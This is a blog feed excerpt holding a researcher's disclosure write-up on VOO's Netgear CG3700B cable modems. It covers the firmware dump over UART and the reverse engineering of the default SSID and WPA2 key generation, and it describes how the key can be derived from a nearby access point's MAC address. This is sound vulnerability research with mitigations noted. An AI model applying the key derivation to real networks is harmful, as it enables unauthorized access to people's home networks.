&lt;p&gt;In the next piece, I’ll demonstrate how to gain unauthorized RCE as root on Dell EMC Networker Server with a default configuration by using different methods (legit networker commands, command injection, and Erlang abuse).&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;[0] &lt;span id=&quot;ref0&quot;&gt;&lt;/span&gt;&lt;strong&gt;Dell Technologies&lt;/strong&gt; - &lt;em&gt;EMC NetWorker Security Configuration Guide&lt;/em&gt; - &lt;a href=&quot;https://www.delltechnologies.com/en-us/collaterals/unauth/technical-guides-support-information/products/data-protection/docu91948.pdf&quot;&gt;https://www.delltechnologies.com/en-us/collaterals/unauth/technical-guides-support-information/products/data-protection/docu91948.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 11 Mar 2021 10:00:00 +0000</pubDate>
        <link>https://quentinkaiser.be/security/2021/03/11/emc-networker-oldauth-is-not-auth/</link>
        <guid isPermaLink="true">https://quentinkaiser.be/security/2021/03/11/emc-networker-oldauth-is-not-auth/</guid>
      </item>
    
      <item>
        <title>VOOdoo - Remotely Compromising VOO Cable Modems</title>
        <description>&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/stack_trace_bcm.png&quot; alt=&quot;logo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This report outlines the VOOdoo vulnerabilities found in NETGEAR CG3100 and CG3700B cable modems provided by VOO to its subscribers.&lt;/p&gt;

&lt;p&gt;These modems use a weak algorithm to generate default WPA2 pre-shared keys, allowing an attacker in reception range of a vulnerable modem to derive the WPA2 pre-shared key from the access point MAC address. The modems are also vulnerable to remote code execution through the web administration panel. The exploit is possible due to usage of derivable credentials and programming errors in multiple form handlers.&lt;/p&gt;

&lt;p&gt;By chaining these vulnerabilities an attacker can gain unauthorized access to VOO customers LAN (over the Internet or by being in reception range of the access point), fully compromise the router, and leave a persistent backdoor allowing direct remote access to the network.&lt;/p&gt;

&lt;p&gt;The full technical report I sent to CERT.be at the time is available &lt;a href=&quot;https://quentinkaiser.be/assets/qkaiser_voodoo_2021.pdf&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;I reported these issues to VOO in June 2020 (a detailed coordinated disclosure timeline is provided at the end of this piece) and worked with them so that affected customers could be protected.&lt;/p&gt;

&lt;p&gt;VOO had to be very creative when coming up with mitigation tactics given that NETGEAR considers the device as end of life and therefore did not offer to fix the issues affecting their own firmware. VOO engineers managed to block remote exploitation (as in over the Internet) by deploying two fixes: a DNS rebinding filter at ISP level, and disabling UPnP service on all modems that do not explicitly use it. Sadly, and thanks to NETGEAR, you are still at risk if you don’t use your ISP’s DNS and actively rely on UPnP. This, however, should
represent a really small percentage of affected customers.&lt;/p&gt;

&lt;p&gt;A fix was also applied to the wireless stack so that the access point would use the actual wireless SoC MAC address instead of the MAC address assigned by Netgear firmware on boot. This way the access point no longer leak information that can be used to derive the default wireless pre-shared key.&lt;/p&gt;

&lt;p&gt;However, it is still possible to bruteforce a list of valid pre-shared key candidates by using known Netgear Organizational Unit Identifiers and the access point SSID as an oracle. It takes less than a few minutes to run and gives you a small set (less than 30 candidates) to try.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I strongly recommend anyone with a Netgear CG3100 or CG3700B to update their wireless SSID and password if they’re still using the factory defaults. If you don’t steer away from factory defaults, you’re still at risk of an attacker gaining unauthorized access to your network.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now that this is out of the way, let’s dig in !&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit 12/03/2021:&lt;/strong&gt; just got a report from someone who’s a previous VOO customer indicating that Netgear CG3100 are also affected. I updated this post to reflect that and contacted VOO so they check if they still have CG3100 on their network and if they were part of the patch roll out.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;VOO is a belgian Internet Service Provider which mostly serves the Wallonia region and part of Brussels region. It provides Internet connectivity over existing cable television systems using &lt;a href=&quot;https://en.wikipedia.org/wiki/DOCSIS&quot;&gt;DOCSIS&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Two different models of cable modems are currently deployed by VOO:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Netgear CG3700B&lt;/li&gt;
  &lt;li&gt;Technicolor TC7210.V&lt;/li&gt;
&lt;/ul&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/modem-netgear-technicolor.jpg&quot; alt=&quot;modem-netgear-technicolor.jpg&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Due to the recent release of Cable Haunt[&lt;a href=&quot;#references&quot;&gt;1&lt;/a&gt;] and, let’s be honest, infinite boredom due to an ongoing global pandemic, we decided to take a look at one of these models: the Netgear CG3700B.&lt;/p&gt;

&lt;h2 id=&quot;firmware-extraction&quot;&gt;Firmware Extraction&lt;/h2&gt;

&lt;p&gt;NETGEAR does not publish firmware files for devices dedicated to large ISPs. In order to gain access to the firmware we had to either exploit a flaw in the web administration panel or use physical means such as flash desoldering or UART console access.&lt;/p&gt;

&lt;p&gt;Given our limited knowledge of the device, we decided to go the physical way and opened the box.&lt;/p&gt;

&lt;h3 id=&quot;accessing-console-port-uart&quot;&gt;Accessing console port (UART)&lt;/h3&gt;

&lt;p&gt;We immediately identified what looked like two UART pin-out. When auto-identifying baud rate, we noticed that the first pin-out is live while the other is not. Usually, cable modems have two separate systems: a Media Server (MS) running Linux and a Cable Modem (CM) real-time operating system running either &lt;a href=&quot;https://en.wikipedia.org/wiki/ECos&quot;&gt;eCOS&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/VxWorks&quot;&gt;VxWorks&lt;/a&gt;. It turns out that this specific model does not have a Media Server component.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/netgear_cg3700b_pinout.png&quot; alt=&quot;netgear_cg3700b_pinout&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We hooked a Bus Pirate to the UART pinout and immediately got dropped into a CM console once the verbose boot process was done.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/voo_uart_pinout.jpg&quot; alt=&quot;voo_uart_pinout.jpg&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;BCM3383A2 TP0 346890
MemSize:            128 M
Chip ID:     BCM3383Z-B0

BootLoader Version: 2.4.0alpha18 Release Gnu spiboot dual-flash reduced DDR drive linux
Build Date: Dec 15 2014
Build Time: 19:25:30
SPI flash ID 0xc22013, size 0MB, block size 64KB, write buffer 256, flags 0x0
NAND flash: Device size 128 MB, Block size 128 KB, Page size 2048 B
parameter offset is 41508

Signature/PID: c200

Reading flash map at ff30, size 192
Successfully restored flash map from SPI flash!
NandFlashRead: Reading offset 0x0, length 0x5c

Image 1 Program Header:
   Signature: c200
     Control: 0005
   Major Rev: 0003
   Minor Rev: 0000
  Build Time: 2016/10/25 08:50:23 Z
 File Length: 4951748 bytes
Load Address: 80004000
    Filename: CG3700B-1V2FSS_V2.03.03u_sto.bin
         HCS: d65b
         CRC: 6991be87

Found image 1 at offset 80000
NandFlashRead: Reading offset 0x4000000, length 0x5c

Enter '1', '2', or 'p' within 2 seconds or take default...
. .

NandFlashRead: Reading offset 0x0, length 0x200
NandFlashRead: Reading offset 0x200, length 0x4b8d20
Performing CRC on Image 1...
CRC time = 131499340
Detected LZMA compressed image... decompressing...
Target Address: 0x80004000
decompressSpace is 0x8000000
Elapsed time 3160571220

Decompressed length: 23144647
Copying partition table to 0x83fffc04 180
Copying partition table to 0x80000904 180
Executing Image 1...
--snip--
CM&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;firmware-dump-with-bcm2-utils&quot;&gt;Firmware dump with bcm2-utils&lt;/h3&gt;

&lt;p&gt;While searching for documentation on Broadcom-based cable modems, we discovered &lt;a href=&quot;https://github.com/jclehner/bcm2-utils&quot;&gt;bcm2-utils&lt;/a&gt;. This project provides two utilities:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;bcm2dump&lt;/strong&gt;: A utility to dump ram/flash, primarily intended as a firmware dump tool for cable modems based on a Broadcom SoC. Works over serial connection (bootloader, firmware) and telnet (firmware).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;bcm2cfg&lt;/strong&gt;: A utility to modify/encrypt/decrypt the configuration file (aka GatewaySettings.bin), but also NVRAM images.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;bcm2dump&lt;/strong&gt; requires model-specific memory mappings definition from &lt;em&gt;profiledef.c&lt;/em&gt; to work. Given that the device under test was not documented yet, we gathered information by using the modem’s flash commands.&lt;/p&gt;

&lt;p&gt;As we can see below, the eCOS system uses two flash storage:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;SPI flash&lt;/strong&gt; for the bootloader and non-volatile data&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;NAND flash&lt;/strong&gt; to store the firmware files (image1 and image2).&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CM&amp;gt; cd flash
Active Command Table:  Flash Driver Commands (flash)
CM -&amp;gt; flash
CM/Flash&amp;gt; show

Flash Device Information:

      CFI Compliant: no
        Command Set: Generic SPI Flash
   Device/Bus Width: x16
 Little Word Endian: no
    Fast Bulk Erase: no
    Multibyte Write: 256 bytes max
  Phys base address: 0xbadf1a5
 Uncached Virt addr: 0x1badf1a5
   Cached Virt addr: 0x2badf1a5
   Number of blocks: 8
         Total size: 524288 bytes, 0 Mbytes
       Current mode: Read Array
        Device Size: 512 KB, Write buffer: 256, Flags: 0

      Size  Device      Device     Region
Block  kB   Address     Offset     Offset   Region Allocation
----- ---- ---------- ----------- --------- -----------------
    0   64 0x1badf1a5           0         0 bootloader (65536 bytes)
    1   64 0x1baef1a5     0x10000         0 permnv (65536 bytes)
    2   64 0x1baff1a5     0x20000       ??? {unassigned}
    3   64 0x1bb0f1a5     0x30000       ??? {unassigned}
    4   64 0x1bb1f1a5     0x40000       ??? {unassigned}
    5   64 0x1bb2f1a5     0x50000       ??? {unassigned}
    6   64 0x1bb3f1a5     0x60000         0 dynnv
    7   64 0x1bb4f1a5     0x70000   0x10000 dynnv (131072 bytes)

Flash Device Information:

      CFI Compliant: no
        Command Set: Generic NAND Flash
   Device/Bus Width: x16
 Little Word Endian: no
    Fast Bulk Erase: no
    Multibyte Write: 512 bytes max
  Phys base address: 0xbadf1a5
 Uncached Virt addr: 0x1badf1a5
   Cached Virt addr: 0x2badf1a5
   Number of blocks: 1024
         Total size: 134217728 bytes, 128 Mbytes
       Current mode: Read Array
        Device Size: 128MB, Block size: 128KB, Page size: 2048

      Size  Device      Device     Region
Block  kB   Address     Offset     Offset   Region Allocation
----- ---- ---------- ----------- --------- -----------------
    0  128 0x1badf1a5           0         0 image1
    1  128 0x1baff1a5     0x20000   0x20000 image1
    2  128 0x1bb1f1a5     0x40000   0x40000 image1
    3  128 0x1bb3f1a5     0x60000   0x60000 image1
    4  128 0x1bb5f1a5     0x80000   0x80000 image1
    5  128 0x1bb7f1a5     0xa0000   0xa0000 image1
--snip--
  509  128 0x1fa7f1a5   0x3fa0000 0x3fa0000 image1
  510  128 0x1fa9f1a5   0x3fc0000 0x3fc0000 image1
  511  128 0x1fabf1a5   0x3fe0000 0x3fe0000 image1 (67108864 bytes)
  512  128 0x1fadf1a5   0x4000000         0 image2
  513  128 0x1faff1a5   0x4020000   0x20000 image2
  514  128 0x1fb1f1a5   0x4040000   0x40000 image2
  515  128 0x1fb3f1a5   0x4060000   0x60000 image2
  516  128 0x1fb5f1a5   0x4080000   0x80000 image2
--snip--
 1022  128 0x23a9f1a5   0x7fc0000 0x3fc0000 image2
 1023  128 0x23abf1a5   0x7fe0000 0x3fe0000 image2 (67108864 bytes)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With that information in hand, we wrote the following profile:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-diff&quot; data-lang=&quot;diff&quot;&gt;&lt;span class=&quot;gh&quot;&gt;diff --git a/profiledef.c b/profiledef.c
index 8cb6f9b..25dac47 100644
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;--- a/profiledef.c
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+++ b/profiledef.c
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@@ -66,6 +66,33 @@&lt;/span&gt; struct bcm2_profile bcm2_profiles[] = {
                                { .name = &quot;ram&quot; },
                                                },
},
&lt;span class=&quot;gi&quot;&gt;+    {
+        .name = &quot;CG3700B&quot;,
+        .pretty = &quot;CG3700B-1V2FSS&quot;,
+        .pssig = 0xa0f7,
+        .baudrate = 115200,
+        .spaces  = {
+            { .name = &quot;ram&quot; },
+            {
+                .name = &quot;nvram&quot;,
+                .size = 512 * 1024,
+                .parts = {
+                    { &quot;bootloader&quot;, 0x0000000, 0x010000 },
+                    { &quot;permnv&quot;,     0x0010000, 0x010000, &quot;perm&quot; },
+                    { &quot;dynnv&quot;,      0x0060000, 0x020000, &quot;dyn&quot; },
+                }
+            },
+            {
+                .name = &quot;flash&quot;,
+                .size = 128 * 1024 * 1024,
+                .parts = {
+                    { &quot;image1&quot;, 0x0000000, 0x4000000 },
+                    { &quot;image2&quot;, 0x4000000, 0x4000000 }
+                }
+
+            }
+        }
+    },&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We then tried to dump firmware images over our serial connection but it failed constantly. We later found out that eCOS was always logging IPv6 router advertisement messages such as the one below:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nd6_ra_input: Processing router advertisement from fe80:xxxx::xxxx:xxxx:xxxx:xxxx on interface bcm2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;These logs were messing with what bcm2dump was expecting from the console and our dumping process just failed. We fixed this by disabling router advertisment logging with this command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CM&amp;gt; /ip_hal/nd_debug false
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally we dumped firmware images, along with data from nvram:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;./bcm2dump &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-P&lt;/span&gt; CG3700B dump /dev/ttyUSB0 flash image1 /tmp/image1.bin
./bcm2dump &lt;span class=&quot;nt&quot;&gt;-vvv&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-P&lt;/span&gt; CG3700B dump /dev/ttyUSB0 nvram permnv /tmp/nvram.out
./bcm2dump &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-P&lt;/span&gt; CG3700B dump /dev/ttyUSB0 nvram dynnv /tmp/dynnv.out&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;It takes around 7 hours to dump the entire firmware so plan your day accordingly.&lt;/p&gt;

&lt;h2 id=&quot;firmware-analysis&quot;&gt;Firmware Analysis&lt;/h2&gt;

&lt;h3 id=&quot;programstore-extraction&quot;&gt;ProgramStore Extraction&lt;/h3&gt;

&lt;p&gt;Firmware files are saved in &lt;a href=&quot;https://github.com/Broadcom/aeolus/blob/master/ProgramStore/ProgramStore.h&quot;&gt;ProgramStore&lt;/a&gt; file format. The format defines a custom header containing the date, versions, filename, and load address, and then the actual firmware compressed using LZMA.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;00000000  c2 00 00 05 00 03 00 00  58 0f 1c cf 00 4b 8e c4  |........X....K..|
00000010  80 00 40 00 43 47 33 37  30 30 42 2d 31 56 32 46  |..@.CG3700B-1V2F|
00000020  53 53 5f 56 32 2e 30 33  2e 30 33 75 5f 73 74 6f  |SS_V2.03.03u_sto|
00000030  2e 62 69 6e 00 00 00 00  00 00 00 00 00 00 00 00  |.bin............|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 d6 5b 00 00  69 91 be 87 5d 00 00 00  |.....[..i...]...|
00000060  01 00 20 20 0e 00 0d 3a  28 ab ef 31 23 33 44 83  |..  ...:(..1#3D.|
00000070  db 18 9b 57 12 d9 ed 76  9b d2 8d 4c ad 5b 7f 7a  |...W...v...L.[.z|
00000080  0f 11 d2 c8 a8 77 99 48  98 fb 58 74 c2 b6 82 6e  |.....w.H..Xt...n|
00000090  74 89 bd 9f fb 21 63 03  40 1b dd 39 8b 6e a5 4f  |t....!c.@..9.n.O|
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to decompress the firmware image, you need to build the ProgramStore utility from Broadcom:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/Broadcom/aeolus.git
cd aeolus/ProgramStore
make
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once built, you can use it to decompress the image:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./ProgramStore -f ~/research/voo/image1.bin -x
No output file name specified.  Using /home/quentin/research/voo/image1.out.
Signature: c200
Control: 0005
Major Rev: 0003
Minor Rev: 0000
Build Time: 2016/10/25 08:50:23 Z
File Length: 4951748 bytes
Load Address: 80004000
Filename: CG3700B-1V2FSS_V2.03.03u_sto.bin
HCS: d65b
CRC: 6991be87
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;loading-the-firmware-in-radare2&quot;&gt;Loading the firmware in Radare2&lt;/h3&gt;

&lt;p&gt;You can load the firmware in radare2 with the command below:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;r2 &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; mips &lt;span class=&quot;nt&quot;&gt;-b&lt;/span&gt; 32 &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; 0x80004000 &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'cfg.bigendian=true'&lt;/span&gt; image1&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;loading-the-firmware-in-ghidra&quot;&gt;Loading the firmware in Ghidra&lt;/h3&gt;

&lt;p&gt;When loading in Ghidra, you need to set the architecture to MIPS 32bit big endian:&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/image1_ghidra_load.png&quot; alt=&quot;image1_ghidra_load.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You also need to set the right loading address:&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/image1_ghidra_load_addr.png&quot; alt=&quot;image1_ghidra_load_addr&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You can define more precise memory mappings to speed up the analysis process but this falls out of the scope of this report.&lt;/p&gt;

&lt;h3 id=&quot;identifying-function-patterns&quot;&gt;Identifying function patterns&lt;/h3&gt;

&lt;p&gt;The firmware being a large statically linked raw binary stripped of all symbols, it can be challenging to identify functions precisely.&lt;/p&gt;

&lt;p&gt;Our initial plan was to identify syscalls in the code to find their dedicated function wrappers and work our way from there. We couldn’t find any and after a rather long week-end we decided to contact the nice people of Lyrebirds who gave us CableHaunt.&lt;/p&gt;

&lt;p&gt;They answer was eye opening:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;you wont find many syscalls because syscalls is usually meant to interact with the kernel and the ecos firmware is always running in kernel space. So IO interactions will be done by directly accessing the coresponding memory address of that device.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;They then shared some tactics with us:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;sorting functions by amount of xrefs to them should get library functions on top, a function from the top of the list that do not call any other functions is most likely a library function&lt;/li&gt;
  &lt;li&gt;functions from the same library are compiled in the same object file before being linked into the final firmware, meaning they will be present in the same order (e.g. strncat is right after strlen)&lt;/li&gt;
  &lt;li&gt;use &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth/&quot;&gt;FLIRT&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Understanding these few points was a game changer and although we did not get the time to play with FLIRT yet, it helped us a lot when reversing.&lt;/p&gt;

&lt;p&gt;We also share some methods we used when reversing manually.&lt;/p&gt;

&lt;h4 id=&quot;md5-functions&quot;&gt;MD5 functions&lt;/h4&gt;

&lt;p&gt;Identifying MD5 related functions can be done by finding a function handling the MD5 &lt;a href=&quot;https://chromium.googlesource.com/chromiumos/platform/dm-verity/+/2b26c94010235a354ed04a6882abf3a4c2cca04d/kernel/md5.c&quot;&gt;transform table&lt;/a&gt;.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/md5_transform_disassembly.png&quot; alt=&quot;md5_transform_disassembly&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If you identified &lt;em&gt;md5_transorm&lt;/em&gt;, &lt;em&gt;md5_init&lt;/em&gt;, &lt;em&gt;md5_final&lt;/em&gt;, and &lt;em&gt;md5_update&lt;/em&gt; are just next to it.&lt;/p&gt;

&lt;h4 id=&quot;string-manipulation-functions&quot;&gt;String manipulation functions&lt;/h4&gt;

&lt;p&gt;Anything that references &lt;em&gt;0xFEFEFEFF&lt;/em&gt; and &lt;em&gt;0x80808080&lt;/em&gt; is most likely a string manipulation function. These two values are used in code that checks if all bytes are non-zero.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/strlen_disassembly.png&quot; alt=&quot;strlen_disassembly&quot; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The algorithm used was adapted from the Mac OS 9 stdCLib strcopy routine, which was originally written by Gary Davidian.  It relies on the following rather inobvious but very efficient test:
y =  dataWord + 0xFEFEFEFF; z = ~dataWord &amp;amp; 0x80808080; if ( y &amp;amp; z ) = 0 then all bytes in dataWord are non-zero&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Source: &lt;a href=&quot;https://opensource.apple.com/source/Libc/Libc-262/ppc/gen/strlen.s.auto.html&quot;&gt;https://opensource.apple.com/source/Libc/Libc-262/ppc/gen/strlen.s.auto.html&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;findings&quot;&gt;Findings&lt;/h2&gt;

&lt;p&gt;The following sections document security vulnerabilities we have identified by reverse engineering the firmware code.&lt;/p&gt;

&lt;h3 id=&quot;insecure-wpa2-psk-generation&quot;&gt;Insecure WPA2 PSK Generation&lt;/h3&gt;

&lt;h4 id=&quot;reversing-the-ssid-generator&quot;&gt;Reversing the SSID generator&lt;/h4&gt;

&lt;p&gt;VOO modems wireless access points have a default SSID set to “VOO-“, followed by six digits. We identified the function responsible for generating the default SSID at offset &lt;em&gt;0x803bd1b8&lt;/em&gt;. The function disassembly - with functions and parameters manually renamed - is provided below.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/compute_voo_ssid.png&quot; alt=&quot;compute_voo_ssid.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The SSID is generated by hashing one of the device’s MAC address in the form 0x%06X using MD5, and then using the first 6 bytes of the hash as integer modulo 10. A reference implementation in Python can be found in the &lt;a href=&quot;https://github.com/QKaiser/voodoo&quot;&gt;dedicated repository&lt;/a&gt;, while a detailed diagram documenting each step is shown below.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/voo_ssid_generation_diagram.png&quot; alt=&quot;voo_ssid_generation_diagram.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;reversing-the-wpa-psk-generator&quot;&gt;Reversing the WPA PSK generator&lt;/h4&gt;

&lt;p&gt;The function just below the SSID generation (offset &lt;em&gt;0x803bd37c&lt;/em&gt;) takes care of generating the default PSK. The function disassembly - with functions and parameters manually renamed - is provided below.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/compute_voo_psk.png&quot; alt=&quot;compute_voo_psk&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The PSK is generated by hashing the access point MAC address in the form “0x%06X” using MD5, and then using bytes 5 to 12 included from the hash, casted as uppercase ASCII.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/voo_psk_generation_diagram.png&quot; alt=&quot;voo_psk_generation_diagram.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A reference implementation in Python can be found in the &lt;a href=&quot;https://github.com/QKaiser/voodoo&quot;&gt;dedicated repository&lt;/a&gt;.&lt;/p&gt;

&lt;h4 id=&quot;exploiting-weak-psk&quot;&gt;Exploiting Weak PSK&lt;/h4&gt;

&lt;p&gt;By putting a wireless interface in monitor mode, it’s possible to observe access points in the vicinity. We can then filter the ones with an SSID starting with “VOO-“ and a MAC address belonging to NETGEAR.&lt;/p&gt;

&lt;p&gt;The access point MAC address is not the one used to generate the PSK but we can guess the right MAC address given that MACs are sequential on affected devices.&lt;/p&gt;

&lt;p&gt;For example, these are the MAC addresses from our test setup:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;MAC address&lt;/th&gt;
      &lt;th&gt;Interface&lt;/th&gt;
      &lt;th&gt;Comment&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;a4:2b:8c:a0:c0:&lt;strong&gt;b8&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;IP Stack1 - upstream LAN&lt;/td&gt;
      &lt;td&gt;Used to generate PSK&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;a4:2b:8c:a0:c0:&lt;strong&gt;b9&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;IP Stack5 - LAN&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;a4:2b:8c:a0:c0:&lt;strong&gt;ba&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;IP Stack6 - upstream LAN&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;a4:2b:8c:a0:c0:&lt;strong&gt;bb&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;AP MAC Address&lt;/td&gt;
      &lt;td&gt;Observed MAC&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;a4:2b:8c:a0:c0:&lt;strong&gt;bc&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;IP Stack3 - WAN&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;In order to guess the right MAC address, we can bruteforce the MAC address last octet and use the SSID value as an oracle to know if we got the right one. This would mean checking our oracle at most 255 times.&lt;/p&gt;

&lt;p&gt;In experimental setups it seems the MAC used to generate the PSK is always the observed MAC - 0x03. We veried that assumption by deriving the SSID from the MAC address - 0x03 of all VOO access points indexed in WiGLE, and validating our results against indexed SSID (see section 6 for details on WiGLE dataset).&lt;/p&gt;

&lt;p&gt;As we can see in the diagram below, 63% of affected devices use a “MAC distance” of three. This means that for all these devices, the derivation is immediate and a bruteforcing approach is not required.&lt;/p&gt;

&lt;p&gt;We are confident that the remaining 37% percent use a MAC naming convention as predictable as this one, but with differing Organizationally Unique Identier between IP Stack6 and IP Stack1 interfaces.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/voo_mac_distance.png&quot; alt=&quot;Distribution of observed MAC distance between IP Stack1 and IP Stack6 interfaces.&quot; /&gt;&lt;/p&gt;

